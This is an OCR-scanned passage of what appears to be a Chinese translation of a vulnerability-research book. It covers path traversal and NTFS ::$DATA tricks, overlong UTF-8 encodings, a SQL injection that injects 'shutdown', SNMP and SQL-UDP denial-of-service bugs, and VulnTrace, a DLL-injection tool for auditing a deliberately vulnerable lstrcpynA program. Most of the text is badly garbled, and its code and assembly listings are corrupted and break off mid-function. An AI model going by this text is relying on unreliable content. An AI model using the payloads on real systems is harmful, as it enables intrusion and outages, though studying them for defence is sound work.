@ #Oracle TZ OFFSETH#EH Mf)F 5, FFSUBTABYE R SMBAT. — &
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data/private
AT ABRAZ A R R G X AR B
www.example.com/getfile?file_path=data/./private/accounts.xls
FHEFEE . /A8 . AXAAL (data//private’) FRHEHAELELX MBS HLE.
3 BF XM RANTERTH
{2 B Webdh AU TR R W I IRAAT FRABA IS S0 (Excelld ), Yeskilind it g 2845 11
y i BLxIs% R £ile_pathB ¥ XiF, RATATLIER:
www. example.com/getfile?file path=data/foo.xls/../private/accounts.xls
RWT, B
www.example.com/getfile?file_path=data/./private/accounts.xls
XKKT - .
Windows NT NTFSH: A B BHAFHEZ 2, EMRXHRAHN (alternate) HHE, WTLL
HtEsRmERS ), FHEREMLH (stream name) RFETR.
AT AR XA IR S 30 . HGEk:
www.example.com/getfile?file_path=data/./private/accounts.xls: : $DATA
Wb/ 552 5 £ 710 5 SO BB . =4I R R BRSO “BRINGG 7 R « - $DATA.
Bty BARTRATTOR B9 ] — 30l SRR DL x1sBiR, BIARE ARVFRATVT KA 30«
HT AR, fENTLEFT (FENTFSH):
echo foobar > foo.txt
more < £00.txt::$DATA
VRH§F Ffoobar. IXAMEARKR TRAMARIEZ S, thh RBEURRE T 17k,
HLLAEAENS B I T3 RE ffibug, i 3225 F R AL PT LA B4 2 ASP L 1 O Y3
www . example.com/foo.asp: : : $DATA
AT SO R AR AN IEBAT BT 8L
fEWindows R R, 55— MY RAH XTSRS RAFM—NREMUE. IXH
“K, RAVKERE AR T HIXFE:
www.example.com/getfile?file_path=data/./private/accounts.xls.
BFEAMER ALY RE N, TAMREANR, x1s. HELREE DRGSR, 7
CUATANF fir 4 K BE -
echo foobar > foo.txt
WIEIBTT
type foo.txt.
_#

notepad £00.txXt.....
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19.4.4 BFEHHHE

KBS IDSHRIFFFIEAR A B AT A o ZEshellcodelfIMIR P, AMIAM T RE SnopZtti 4
HRIFER, HIXE, BIEEERMHANE T, DVELERAEET.

RATTE S shellcode IR {5, 7EFTRE XML 216, JLTATUEAERSRS, Hshellcode i,
AR AR FATICERR, XER S IO AR A—— NI R BT SRR
AR BRAE. B, 7ESshellcodelf, ¥RTTLAYEELIE M2 A28 XAE A — RIS A MR IiER 1
(manipulation) HfE AR

XA E Hishellcode, RATLTFATLUBERMAEREE, i, ESHIENRRZE
AR A2 RS BATAT LIRS 5330S — MERICR R BRI, HAE R A R TR
F 50 A B B AR I A 5 2% o

19.4.5 EHMAKEBRH

FEREUL T, BTSSR EE KA. XM R RE % 20 T Hb kX st
{E Wb 4 IR 2 17 4 M3 () B A BL AR B LESQLIE Nl AT fr &0 ZERXFRBLF, 4
FRNIT VAT AR SR o

1 EROME

ARAT LR BAR MR, KRR ATIE M 05 RS RS E AARRRIF . e, 7EXBHE
T WeblfI N AL FEd, ARAT BERS |5 B R

squot;
ALK TR RN T

FEFTEMIN A AT RESE “H5 07 MRS AT R, WNE1 5. RAUL. EHFSH
RIS

SSRAT DABRACUTF-8751, ARRE it AT IRAZ K551, B0 RGE ol eI EAME A h—F
TERALTR . SRR B —MEFTAT AEACSIIT R U 4E 16{ UTF-83R AL E (972, I AMRIREE, &
HARSEAE M F R T AL E AV ER, NS AR, MR, XEEACRENHER
AR .

%2eft () MURLGRG. ifi

%£0%80%80%ae
Eil

$£ct80%80%80%80%ae
W ) Mg,

2. AEMFEREENXFT

XA RO AESQLIEN, RS EMAT L ERMITR, [HIEH 4 sk s

@© ¥ (seamonkey), RAFIEM, AAMBNOBHNES . LT PHBIBNRT 4E. —F0E
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77, R AT BEAR BN A XA HOR I & R R AR i . fEPerl BLIEAT i @ T RESIE THEA
SMTPii.

Sebr b, W RERHR SRR, TESCAERER, (RATBUEE SUF S i o AT AR, DAtk
HERR SRR

B ANUIRHSQLIENGI T+ WALl F A5 15 8 5| Sk Bl /= A RS,
BB P AR BEBR G 164 74, B ts IR 1647, AT i i/ 44 i
AT shutdownfr 4, AT HISQL Server:

Username: aaaaaaaaaaaaaaa’
Password: ' shutdown

TR SO P B AR AT, BANIEA TR R IRI6AFH, BBRT “H X &
514, %'ﬁ‘ﬁﬁﬁg?ﬁﬂTuﬂﬁuﬁﬁl%ﬁk“msQLéfﬂ xX"ﬁ@Tfﬁﬁ‘FElZ#

select * from users where and
shutdown

SRR b, EEHIREH P LR T -

aaaaaaaaaaaaaaa' and password='

TR HISQLA AT, SQL ServersiH.

AN IR T LA TR T KB A T ORI . feper I, 4726l B3R
XANBAR KN IRER, P perl R AT T 4 48 FRIMIA .

3. ZRER

EME R REAE WA S — AT, SN A8 A% JF i Tshellcode. BIERAT R 45 M4 R AH
ki A CRVFRIEAERE L B R32F MBI K, SR % execvemliwinexec K L 28 T, HH.
EHEEBAD, (EENBEARTE, ATUSITERRG. HEa2RNE, Rk
UMW E R AL ARAT, UG (PR BAR e AR MRS, BAIRCRmEErEm L.
SANTATIREAR 2R £ bug B BT 86 T (1 75 32 260

RATIEE AT LIRA A IEWARHERE Y, RAFIX R AR R QAU KA BR W . IRRAA
write anything anywhere JUF TS5 A, 44T, ARG HER¥ERE . 5P AARERIF. VPTR
HFBMRE.

4. 5 LT3 T X9 B RF)

AR, £ A E A AT KA AMASE IR F CRATER 1A 3241
AT LR, (XS R A R P2 JF e — 8 O H IR, BT T LR e -2 i B
e

HEESF 9811 FH T IR SR Web A TRIB B AR L F SCHTTP host header 7Bt . X4 1ffjheader
SIRIAT A I AFE Re (B3 Apache?E HBUHE 2 JF K1 Hehost headeri B — MK Thost
header, MTfi#i &%t host headerf) 4 8 R A, 1Sty 2AAMKy i B o

PRT LAZER IS 4% TR B 4 F 9 i B AN 73, BIIISMTP. HTTPS ¥, R4k
FilcookieE fit . HTMLAXMLARE R Pk LU A AT Aol il it 4 7 Helic 5 3oty sk S P LA«
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19.5 Windows 2000 SNMP DOS

RAEEAREE A0 K bug, EERFHRMAERT A TIETHESFOSE. W%
upport.microsoft.com/default.aspx?scid=kbsen-us;Q296815 % 2 45 it 1 % ¥y Microsoft Knowledge
Base (%, NGS5 7T ATEww isori dos/#RF|

BATERIA I LESNMP walk code (A FISNMPSEBL) REBREIME T, Fik, Wk doEdiit
PAKRISNMPFHRLFT, BER AR . BRI HERE W LSNMPIIIEFE, fiRegMon.
FileMonflHandleEx AL EATFF I PEUR, FHIEREMMB AR CUAMAB, REFHIR, T3
K- (KEAR—H%) BERGHMIER. AR, BEit, SRAILEFENMHR,
£ & — T SNMP 0IDL Hi BU/E B EL .

R, B RIEBIRA, (2SR EA RSN, NRISNMP I REF A
i T 30MBRA .

FBAT 5~ SNMPwalk code, RLENHEHRTHENTE. Kk, RATIFL YL IHIRASNMP
walk code, RILALNSNMPHALMEL T KIEMATE. BRRIIKI, H¥Effranvan mibF il
SREGITEHAER R, B HBLXA S

ANSNMPI# R CE# I 58 5ANUDPAL) it I 430MB A /7. IXFERDIE, RATATLL
B8 (R ad) WHEFamneE, WRKHH K% ETMXENE, BBk
T AP, BAREFED, RENMERRE (THEN T KHASNMPRSE R
%54 FIAGINA (Graphical Identification and Authentication, %% RMDLL) #H L4
W20 T RIA 2 (E. SBIE) M0 BURERHEHE, PRI, X ME— A% M R 56 A U

TR T E, BRI M bug i ERRAUFHAR 1 ARG RIRIR. DRRATERAER
BRI, FTREAGE AR 22 R X Moug.

19.6 % DOS Wi

R E BT AT 55— RIDOSK i MR RH AR — T B B 45 PR A AL B K
RURR ST & B R R A DRV 8 R, AR AARAS LSRR o B A B T SL T AR T S 2
BUXLEAR, D)L AT REMARA LISBRE . ARBRATI N % R ALK FR L0 ?

TELinux L, proc # 4 RATHPE T W #1158 (man proc), ©R LIFI HERITIFHIXCAF(£0)
SR KR FFR (maps) A FHETRIBIAERI KD (stat/vsize). statmt il LUK
LFIS%, R AT TR A PR R

TEWindows ERTH A, R0 LU 55 4% 3 88 20 PRURME A (R KB, R T A e
processes W B BRI A . BRI A BFThandle count. memory usageflivm size.

WRLIEAEAEI . CAn SRR STHE & T UKD BER 0 — AN B 140 75 148 F Windows P i
MLa&. 7EWindows 20005, 7] LAFi#)&1Tper fmon . msc/d BUPEREMMLES, AT LA FE TR TR

A LA T LA BRATT BB 5 B R R, TRATTRT LU B 52 S0 077 R AR A e
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SEFEBNGBRIN A KRR, BA IR AR BB N S B LI, T T AR SRR
[Ria%y (pattern), IXEL# g5 HIGE .

FERRES BRI, WEERLE A TH RS GEH RprocesstEiEXS), WM. &R
B WEERPRES. WMERRFERIX R, RIS EDOS & .

19.7 SQL-UDP

Slammer 4% $7 i SQL-UDP bugi# AT B iti {44 . NGS )4 % 7 £ www.ngssoftware.com/
advisories/mssql-udp.txtH £ .

HERATRAEMRITL T RIV MR, 76N PRI HIRES, FAER
NGSHAHSQL Server SCFFILE ML, FINMAHBLF M RAM. BER, &P mBfbimg
FELHATUDPAL, MALESEUPDEMI T REME, B P ILEXLAE, XAAHEMUDPH
BRNKRK, A0 TR R L RALTE M S T SEIXFUDPHUR (. 76 T X 2E(E B8R, NGS
NI R XA PR

@it Chip Andrews s FF (A B R AR GE IR TS T sqlping, NGSHES: HEEKUDPH
A ox02t, HARSQL Servertf FIIERZIZATTE EHL LIISQL Serverft) & Hh 9 iy bl 48 5 3Ry
Rio

Bk, BETRMEIEEAT T WA FAL (0x00. 0x01. 0x03%). NGSHFileMon.
RegMon. PR CLHBFFISQL ServerflSEf, FFoaMIiE K.

David (JBitRegMon) JERF|YMUDPHLHIE AN FH5Z0x0alt, SQL Serverik E#IFFim F

SRR
HKLM\Software\Microsoft\Microsoft SQL
Server _of_packet>\MSSQLServer ion

T AT AR A AL RAS K IR A7 1Y o SQL Server— 5 £ A 4y 3430 ) A8 th 7 th i)

.

%/ NEZN U IR AE A R B EUDP 143435 1, SUER RANE TR, ok, WARARK
HEAE T FANAM 0, NGSHFRIFLA B ICAL At 52«

B2 T 0x0a8b, BAMMLTWIFAAMRIIRR T HBIAT A . Moxos)d REK TS, HE.

BT B R R HERE ) o 00245 | A2SQL Server i3 & 0x0a M IRIRY, B, 47 T LADhXESQL Server

HIPHAE, SR RIEAL G 0x0alI B 53 SR HISQL Server, XM RAZINFERILE EIRIIIE A RS o

19.8 /&

SAUTF S NKRMIBAR, KiE T SRIFATFRA KO 2 8. SQL-UDPH IR AL F A nf
M, TR RIS M, (UET A B8, BARMNEIAVMERIE, BB
BAL AR S TUER I AR ARRIRRBLE, HRHEHE RE. ROERIVX MRS, B EHR
REH G S, I ST At e b, BTN ATIT EAT, JFERMSE B
FEUDP 1434310 (LT 2ESQLA /™ i A 2 /5 FEE FISQL Serverltf, A AL XA ).



R, RERE, FEARMEEH TR BARGHTHA AR, KA (ESMHRAR
BRI FIRIXARAST T —MER, B BN L. X352 L ZFENSQL Slammer, T
HAB P B T ML, ST AT EBRE IR .

BRSlammer (P MEATH— LK, EANBHEFMES 1 CRBITEE A R B A
. BIMEZEREK, WM AR LA AADRIIE KRR, ERER RS, o
Slammer. CodeRed (FI/fj T Riley Hassel RBLf . idabug). Nimda ([Al#EfIH1R) FiBlaster &t
CRIF T Last Stages of Delirium /41 R BLFYRPC-DCOMIRIRD, HIXMA AN RHAF T4, HiR
ATRFLAT, BRI THMXER. ER, WEERES), B ARESFHIHX Loughy
FAGRIE, NIRRT BIIRIR .

HIXRINERAEN, BABIREZSTIIH N RS SS, BB R 2o H
RE R, ARARIXFRE, R RIS R T2 SR ER . FhiX
ARBFRE G R, AVURRIEIR, WEHII# B RIVK IR, Bk —HaRE
L HERKE R . MAKLE20024F 3L 84 772NN T, ZE20034F RS1A, 220044 Jikas
AN E20055RSSA, FE20064F 784, T I T 4, HA94h T 4402 Mbug.

SRR Linux P2, AN ESE R A . #5US-CERT 20054 K (1455, BRI Linux e Windows
HIRTRE D, REREHHE T REAANER, 5% EIMYe THRE A% B . SSHbug. Apache SSL
bug & chunker-encoding bug#F £ # % (I Linux¥ i »

AR EMacintosh P, IR AR BEAZ BT ACE & LR 4R L. Linux ERSSHAT
SSLUkRS LB K BEIHAURET S, BARXATHF S A Mac T & IR AR R, BRITRE
AR KB NAE TR ENMbug, R LEbug R ATEAET . I la] [ 2AEW-—4)!

Bttt R B ANBRIRTTSL, AR AT L B RRL, AR 4R, BY
SRR, AEFTARFERIRA LA R AT T A SR, 7T LMERIE. B R ek
Z, BAWERS HE, RALTR. BUF. B FRHEMESINEIG AR, FHMREA
MELRAIFATIXEAR, HRAARERLEAN, RIOAH T P .

WRBTSL AR T WAL LIEAEEATH AR RR . BIRE AR QIR AU T
AR IEAEIBATA Ao A A B IREMRK N B, AT SR BRI SR A




H20E

|

= REARE, MUK, TiHERME. Bk, RIFTEFR-ATAEL, UHR

ST RO, NTE R WA, SRR, TRERNM AR
FERBCARALAL, WA PG IR, AR, dNAT A HHEAT KA. RATEIXE T
RAPHFH: EFHWIE TR GIE17RHBRIRR TR AEEIINN TR, AR RN T
B BATATUAAEAABERA HARRF R RS, 48, S TARBEARBAMRE S, ERDE
HEETTHATES, KB, RETEmMRATRRIER.

200141958 =ANBHE, EVEMA EREE) T EVERBBFEARSGA TR H IR TE.
AR AT I AT — ST, I I BIRG A BN SR AE R 2 B WIRIN AR (R
SRHBRREFBAIZAT, ARERIERFRAEAE . Wi =B s iRy R, RATATLZER
FREEFIBATR, XPEALEATH I, BRERERFIAT, TRAAIRIE R WM. XA
O RRT R AVFRATEE . SHATIR, RS e i 42 0 e PSR . A IR B B R S M
ARYCMRSEA AP, BT o TR Y SR UM 7T i 5| A0 T ) B 2R B PR

EVERERAK Z K, HIhRbmE —Iiadr. Wk, WRREUAMRES . ©E4
BT —HATERR, WAERNM TRAG T SHEE—E.

AT Bk STELN SRR R ERRT, AR A . XA
TR S VPR AR 1647 76 G D88 9 -

20.1 R

SHTHH TR, R AR TR, U T A RS, R T
TR et 28 Rt R AN o W/ 30 o o R o] LARON AR RLFP I R0, {E
AR EAE M2 ) e AR T AR A 2R B AR AN i, s VPP AT AR SE B AR
IEAEAEFHR R (Bllistrepy) A MM, (2RETEHEREN screpy UL AN L
AR B A HE R AT R ALA AL B, T S 7 AT AR E 2 I strepy B $.

B AR G D 01 0 4 0] B 7 LB, KA 2 I th R AT AT A 2 A R 4 IE
ATe AL, LSS = I T M VLR A 20 ) 5 EARATE M o A (R . BR300 7 S A 7E

R R A/

© RERATBANIENRF. —— T
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PR RIS, il ER MRS RIS, RAEXE, KEATATIATE
FyE TR S . T XA, RAOTMUEER A R, SR HXANRR
AT B R SIS ECRF BT TR A, BRATAT SN MER R, SR8 B
BRI AR A B R PUT R ). B BIMAFIEAT, BATRARTE, RITUSHERTS
NSRRGSR A,
2011 HESBRYIERF

TEX R, BATRBBIGA 5 3 WA A — b KAt . RAREF R R e 1stropyna
HH15B (useruaxs1zE-1) BIAARZMK. (HE, UT —AMHR, 8 THEROKE, A
T Vi 2 A0 52 B AR X .

LR REY Hdefineflt LK. B—BOKS, WfldefineM TTRELTERHFIN LRI,

BIF B check_username (7 —MEM X R HI R AL 1strepynalfi KK ERTF
ARRGMX AR, BENEHR U168, F F16BHERIGEHX S, MiIH i RAE7ERM L
fIEBPHIEIP.

/* Vulnerable Program (vuln.c)*/

#include <windows.h>
#include <stdio.h>

#define USERMAXSTZE 32
4define USERMAXLEN 16

int check_username(char *username)
char buffer [USERMAXLEN) ;

lst (buffer, USERMAXSIZE-1) ;

/e
Other function code to examine username

*/

return(0);
}

int main(int arge, char **argv)
{

if(arge != 2)

¢

fprintf (stderr, "Usage: %s <buffer>\n*, argv([0]);
exit(-1);

}

while(1)

{
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check_username (argv(1]};
Sleep(1000) ;

)
return(0);

1

TEHRBANER, BB R RN — B TR TH (M0 Visual Assist), X T RIBHET
WEYRE, WTABH A, EXMITE, TR AN AUSERAXSTZE, TITABAAH b flait
Bt TusErMaxNAME, RUFEST REAFRRE, MRMYLAMI FTABR, RAEXLEPIIA—
FAUMRR . B S A RRIER T ISBIM 4, BSER LR, TR SRR
) FARRRF AT RS

Mo, FEIF ANLEREH K IRINE? 0 RITRS R R G ) RO, SRR
WA A BRI AL TR MRS, B A YRR B by AT AR KRR . IR R R — R
SEAR TSI R AR FRARE H AR ZE X B/ DA B So i e R O B0 K BRI . fsR
A IR BERF BARGE X (K HE, bR o VR TR S T B AE AR IR

A HARE O TESE RAMRCIIVE? B3 B A Py 2R RIS AT I A R, BT LAHE KM A
SEe Y/ REBIRS TR T DA RN BRG], ThRERRANARFORY, A
JE P ZE BT URRRSEATAE X3 . R UR / RIS S R T R TF R B H R BNXA I 1%,
(R “HEARIL” HEARETF “BEI7. AT AT A A HE B S HRAP YOXA 6, 7L MR
18, TR ME R A R HORE TR TR . 2 MR IR A A 5 T . WURRATA B AR
GRS RIRT, KT AR TR R E AT (R AT Ih e

VERBI T4 1strepynalfifilik. 1strepynaRRITERICIEATINERM, i/ B R4DLL
S, Bt ERERMBEMstrmcpy B BER . HMMERLEN T HSHTHR, B
BUEE B K98 CIA1T I R 3 SRR IR AR R 2 I HIXLB =T MR 1XKR
B 0 AN B R PR R AR s AR AR FNIX o, (U T BRI RGN
2R LA k.

PRSP BARK I, PEENGE T WA we AR T2 RARPBR A RIE
ek B AT B AR AR AR RO o AT RBOAR A 7T LU ARSI SRS i, (ELX 1 B
VREERL, BT A CURRRIO Y o TR, 2 K2 MR i S U SRR PR
— PR R AR T AR B A AE E R, R R R A AR AE T -

MR Ccallback) {6 FEl Lt — b6 A v ph 07 SRR T bR AR ROKHS
SEBATIN A B, BATRBES RN A LT SOROTRUT OPAT R B SR, Xik
FIERATYAIGI, BTAME BT ST 2.

BERRATHAEATIX 4 % I, ARG — T BRI BRI PR EA]. MIX
SLFRG, TRATHS VAR BRREFE Y VuinTrace. BAREH —EMJRMRYE, HAHRIRET —i2
S TR PR E W TR BB R O T £ 0 o

20.1.2 AT
T MAURBIELT, BAVE SR LA WA AIOITE —4, h T &% VulnTracef)
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R, AR e XL

RAVTE R, SEHYT A AR . EARERARBZ RGBS NE, HHERTHERE
R BREG, U R BRI 2 EE A EF R BRI F N . RV R ERE
VulnTrace#i ¥ BDLL, #RJFHEAR B ARERAE. XIS, VulnTrace AT LU AFREF A
TFE MG BT, T Ry @ s e B AR RRF AT A

b T FWEFEHE PN REORALEMNRED, ROFEMTOTMEN
itk MH, KEREATREWIA . BEEERARIBFAG, FLHEHMT 250,
NI BRI SRR 2

AT /B VulnTrace R A R BIISH, RMTEBKRBEOIIT. WA “BEHES" HAR
PAXANE . BRI RAT)  CDLLE A B B0 3L DLL I ) bR 4

R, —AERBRE S, ROIWERENIZAEIE, FRBACBIEREAE. X
AMpIFR, BATHWindows FIH HARMN BARZ, RAPHAABHEHIXLWRARE. hT#
WO, TR Detours TR UREITIE). BRARTH, WELEKR LK.

FIH R AL, RATH VulnTrace HF-EHE:

O HEEAN

O ST

O Y

O BRI

AVEVER A BRA BB SR ME R, BRI ENAEREK, FERRITME—A
Wil B AR o

1. #EEAN

S T BREFA FI M55 PR 94T A, 75 VulnTraced€ B ARFE A AT U FLE 1) B AT 220X 488 (o
BAZEIX AR IS TG99 6 SOV BAT M), BRIEZ5b, B TGEL N M VulnTrace R A F AR AL 13
HEA ). BUATT AR FFAMEOX S, (EIXAERIE, RATLAETFR — MUk 26 5 B b7k
TSI R, THERTFHRRE KN LIIREARILIR. TR R EAREN
HARIERR MW A2 22 [ A A DetoursE 45k 5B, Detours 7] LA Mhttp://research.microsoft.com/
sn/detours 4%, BEIE T VFEH MR HONEI TS, TATAT AR E SRR TR H R T B E AR
WA R

#VulnTrace#H #RDLL, #AJ58idDetours APIINERE] H RSN A2 WRARAE T
GRM, A CHERENRT BRERE, WTUSE T mK SR,

(1) 7R A 8 virtualal locEx MR WA T«

(2) AroadLibrary il I LS H

(3) 7E & ¥y ¥ i Creat eRemot eThreadifi il LoadLibrary, TEMFFR I ikl 22 [ 5& 2 M tuhk .

2. TR T

TAVTE A MR R B AN, 7ETB AT REAFAEA A RIRA I B AN AR . BATIHE
= ANREA FEATT R, ML R HOF AR M L2 o
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o AR

LFHARIERNH O CEAREITNESE. ERFTED, 1RSFRRHIHES0E
H, MTRRIEHCHRKEEH BT L. B, WRFRRFEMH T scrmcoy®3, B
K Visual CHEIUE H O strncpy KBS RREIRF . FHENOG TR ASREQCSR
4, MmainfFifi, ¥ E#icheck username, #/E1fstrncpy. E MRS HHIIETHE
HPERH strncoyR B, FH, BHESEHEEnain/Fl. Ycheck_usernameilfilstrcpyhi,
PATHAE IEHF 2 FHHstrncpy (L FBEREE0x00401030). ZEi RN, £5i4 RIS .

check_username:

00401000  push ebp.
00401001 mov ebp, esp

00401003 sub esp,10n

00401006  push OFh

00401008  lea eax, [buffer]
00401008 push dword ptr [username]
0040100E  push eax

0040100F  call _strncpy (00401030)
00401014 add esp, 0Ch

00401017 xor eax, eax

00401019 leave
0040101A  ret

main:

0040101B  push offset string "test’ (00407030)
00401020  call check_username (00401000)
00401025  pop ecx

00401026  jmp main (0040101b)

00401028  int
00401029 int
0040102A  int
00401028 int
0040102C  int
00401020 int
0040102E  int
0040102F  int
_strncpy:

VLWL LW

00401030  mov ecx,dword ptr [esp+0Ch]
00401034  push edi

00401035  test ecx, ecx

00401037 je _strncpy+83h (004010b3)
00401039 push esi

0040103A  push ebx

00401038 mov ebx, ecx

00401030 mov esi,dword ptr [esp+14h]
00401041  test esi,3

00401047 mov edi,dword ptr [esp+10h]
0040104B  jne _strncpy+24h (00401054)

0040104D  shr ecx, 2
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WRBATRBBX LSRRG R, FENERIE MY, RERRSEH
Hudk 2 8 B R MR, SN RE RN

® FA

VLB RAM RIS P, AR GEWESIFNEERSEREF) K, %
BERBRE . MFLFF RIERR R b (SN BER U B i U BT, iR B IR R
PREMFR . MR AR P RN, RS SS R AR RBR . e
BB, REMBRBEXIZEHEREM (R AR BT FARNKBIEHER
IMBABR . H M F AR RIS, B NERSIR. EMRALR, BRANR
L RAFAE IE F NP AR SR IMIAT (Import Address Table, ‘SAMiib#) H.

FHE 5T B A — Ml check_username, 1] § AEM 1strcpyna. Ycheck username
AT BT Itk 0x0040100F (IR FITE 1T, PUAT UK T2 151 0x0040604CH {RAFHY
Mk, XAMAERRIIMESTRF R MATEH . BREER LstrepynalfiHEA Sitiht.

check_username:
00401000  push ebp

00401001 mov ebp, esp

00401003 sub esp, 10h

00401006  push 20n

00401008 lea eax, [buffer]

00401008 push dword ptr [username]

0040100 push eax

0040100F  call dword ptr [_imp__lstrcpynA@l2 (0040604c)]
00401015 xor eax, eax

00401017  leave
00401018 ret

main:
00401019 push offset string “test' (00407030)
0040101E  call check_username (00401000)
00401023 pop ecx

00401024 jmp main (00401019)

FERXANMEFIIATIRE . 768 B check_username®, i #i45 Ak F.

IAT
Ghfbeat A RIEAL
0040604C  7C4EFA6D <-- lstrcpynA entry point address U
00406050  7C4F4567 <-- other import function entry points
00406054  7C4FAEOS S
00406058 7C4FE2DC
0040605C  77FCCTD3

EARE B RARE, TATHE K94k 0x7CAEFA6DSEFF b JE Lstrepynaii A A LIS o

_1strcpyna@l2:
7C4EFA6D  push ebp
TC4EFAGE  mov ebp, esp

7C4EFA70  push OFFh
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WMRBAVEBRBEFANRI, FILA KR i, BATT LS B FRERINIAT E #
b, EEAHEARATKEARE . XANIE ARSI R R B R R
BAE A — A R, O AR e R, AT LAZE AT W R I s SR B A B AR
W, EEE ARSI

* MK

VBT R R FFRIS. Flillstrepy. strienfl A SIETH EH,
HIX FRESEERT KSR, ENHRFRIREE. ERFNEERATENRERMEREN
Wk LRI

TR Visual CH4 28 KGR FEstrien® . ERAMPIT R, ROVEATRFHM
ik, HFER ERK SR, MR MR BSEERA N strlen, ERFIN, RATEHER
e, RERHRLMSE, BEHEscrlenB IR KEBAKEER.

ARG

00401006 mov eax,dword ptr (buffer]
00401009 push eax

0040100A call —strlen (004010d0)
0040100F add esp,4

00401012 mov dword ptr [length],eax

FETTH, RAVEstrienfti WBARA . AT LUEI TSR FH YIS E RATHRA BOX MU .
RATAT A IR I BA W striens¥, TR %% 8 s trlent (RIS EL K H BE I
WRET . BRAMCEAxHFEBEE, WEHAMPEDDS I FRN 7R R T Ko, SikEhouort, &
SR, HHEERERIKAEERE.

HACE:

00401007 mov edi,dword ptr [buffer]

0040100A  or ecx, OFFFFFFFFh

00401000 xor eax, eax

0040100F  repne scas byte ptr [edi]

00401011 not. ecx

00401013 add ecx, OFFFFFFEFh

00401016  mov dword ptr (length],ecx

o SREAT KR PR IO R O, FRATT T AL T AR MRS » #RUE ML SO TR AR IR R
AT U XA R A 4T 28 o

3. EmM I

RATELWTR T ERE S EFHALO RN, RERERKENOERFER, HANDERE
preludef: 4. X RRBHMIIN, RAVERMA AN ROHEHEAR.

o FAt4

FAHARE L. A EMROBIRIEA — N FAR. LIEBSIMRF] B AR R A2 )
i, 2 GARATAE . BN ISHEBIR P AR BRYOR B, CAEIAT A X N H .
BRAMAREI A G RHT, PATIRRTLE W BIATEX A H o E20- 1B AR
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[ EBESR S 5T FI AL T kernel 328k B 1 stropynali # . 24T 1strepyna$UH, HATWEH
FIMRIAT B i@ it . — BRITE 1strepynali ¥, RATKEE M 1strepynall fi3K.

— ¥1strmepy —>

HERB el
(Vuln.exe)

W#hsrcpym JEF

P20-1  HESH/RBIRR 0 IE BT
A AR AT 04T 45 i s it B BT AR S () SR £ N B TR K S MR
A H CIAT, B 72 S AR I BRI IAT B ) 1strepynafIEA 4. 7ERI20-20, ##
user32.d11 4 fll vuln. exetf i HITAT () 1strcpyna A o F 383X 22 4T B (0 4R 73 S0 4T
1strcpynAR%l, PATHBHEF B BRATEN IATH kL. m

---if1strncpy -- >

AR -
(Vuln.exe) 4 i
WH1strepyna &

i

i 1stmepy 6P

VulnTrace.dll

i
VE_lstrepynA

202 e LQUERARIE, 28 BIRAT

XA R B AR FEAE AT S L stropynal B R, ARJ5 Y HUIE AT SR [B1 42 04T & 0 66
B XA FHAERA FvulnTrace. d11 K. HA B Hve_1strcpynafI#EA K.

® preludett4h

FIRAE, RATT S SAMRBR AT S AR ATTIRE], 4 RAULYE M Bk
HEsR B0 SO SRS, AR ATRN . (B AR R B B, TOAE NI &,
TRRRAVITT LA BT A R AR RO B OARAD B o BAT R THIE  mo i &30 N AR VLI H b e )
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AR BEIT . ot &K 5 FAREE M BIESITHRRR . LRt
XA S RATH R4S — MU AR R B 7EF20-3 8, RATTATLAE ZIPAMEEy
RS A T Rl Tkernel32. a1 18R B ) 1strcpynaifi .

—H1strncpy —>

RS
(Vuln.exe)
i 1strepyna

WAV 1dercoyma |

VulnTrace.d1l
4
VE_lstrcpynA

203 7EEC 32.4118#1 k- ZJii» R FIOIBAT I

AT 1strepynabi BN, ST HiFE BITESURIGIAT B4 (sl . PATAEREAN TS U
I Smp R4, WA WAT A 1scrcpyna b $. HIAT smpdi B, RAVETE 0 B 6L T
VulnTrace.dll i H B #ive_1strepyna. AR R FR K Lscrepyna® B, B
A BPOHATREE, KHERATIA R FOR K 1strepyna.

h T 9IXAH i, AT LA F Detours APIE ionWithTrampline® .
JE T T8 H A 41 R I Detours AP 4E AR WM R $ (Fprelude .

® prologuet4h

prologuett: 44 Fiprelude HARAAN. eI (0 WI R AR, 1% FHprologuettél, 7ER%L
SRR EEV AR, ROTEREIZRE. XAEAVFRARBHRATHSR . fll, mELAT
A v O P % B MBI A M0, R 2 il prologue 4«

4. JR U

FEBIA T AU B M 45 A 7 A I M 7 TR 15 » B 13 L AU T B e 1 B 2
AT VLA W L5 6 09 T o X4 VulnTrace3R i, #484E 1strepyna, FHHHE BIBAT I TR (R )3
B R AR A4 MIE LstrepynaMI B BUH BT . — LA #Alstrepyna, RAT
KRB EMNSEER, RAFAMKIBRAPI XSS HIE M. & ¥ outputDebugstringffiiiR
AT AR ) B B AT O (YR T R 48 . T LU DebugView M ML3R 28 f03 , DebugView i A

http:/)

R RRMRFTN . IEAT 4 R Bve_Lstrepyna.
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char *vt_lstrcpynA (char *dest,char *source,int maxlen)
{

char dbgmsg[1024];

LPTSTR retvalj

_snprintf (dbgnsg, sizeof (dbgmsg) .
“[VulnTrace]: lstrcpynA(0x$08x, %s, %d)\n*,

dest, source, maxlen
Vi
dbgmsg [sizeof (dbgmsg) -1] = 0;

OutputDebugString (dbgmsg) ;
retval = real lstrcpynA(dest, source, maxlen);

return(retval);
3
LEFHFYF (vuln.exe) W 1strcpynalf, PATHMIERE MEjve_1strepyna. TEXAM
FH, RAOTHERT RIS FAEER L 1stropyna M BRIEATE .

20.1.3 %iiF VunTrace

EVHSRIBRER R AN BT, b T RIFFEA VulnTrace, EREME FFILA:

O ¥ Visual C++ 6.0 (IR 7 Windows C / CH#R )

Q Detours (http: microsoft. >

O DebugView (http: mspx)

TFTVHF SRR BB R 7 R L R AT LU B BRER A T T AR BN ) L M g b
X 4 EH O«

1. VTinject

XA VuinTraceFE AR ATAL R (0 H AR R P, RIS RIFR A AT M
(VIInject.exe)o iifk, ZEGFHN T EALHFDetoursk X, Jfi%HDetours/k (detours.1ib).
XL A B Detours B RMNFIFE B, FEHZMARNFERE, X THHVTInject, RFERERD
(PID) Mk B — Mt M~ B Y. VTInjectHfH 2487 H R T fvulnTrace. 11N HiriEH .
R A % % 4F (9 vulnTrace.d1l M vTInject .exe il F [ — H &, T i £ vTinject.exefl
VulnTrace.dl1f¥i 3

/

VIInject.cpp

VrInject will adjust the privilege of the current process so we can access
ting as once the privileges are adjusted VTInject
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will open a handle to the

target process id (PID) and load our VulnTrace.dll
into the process.

P
#include <stdio.h>

#include <windows.h>

#include "detours.h”

#define A1INAME "\\VulnTrace.dli®

int CDECL inject_dll(DWORD nProcessId, char *szDllPath)

{
HANDLE token;
TOKEN_PRIVILEGES tkp;
HANDLE hProc;

ur: [th
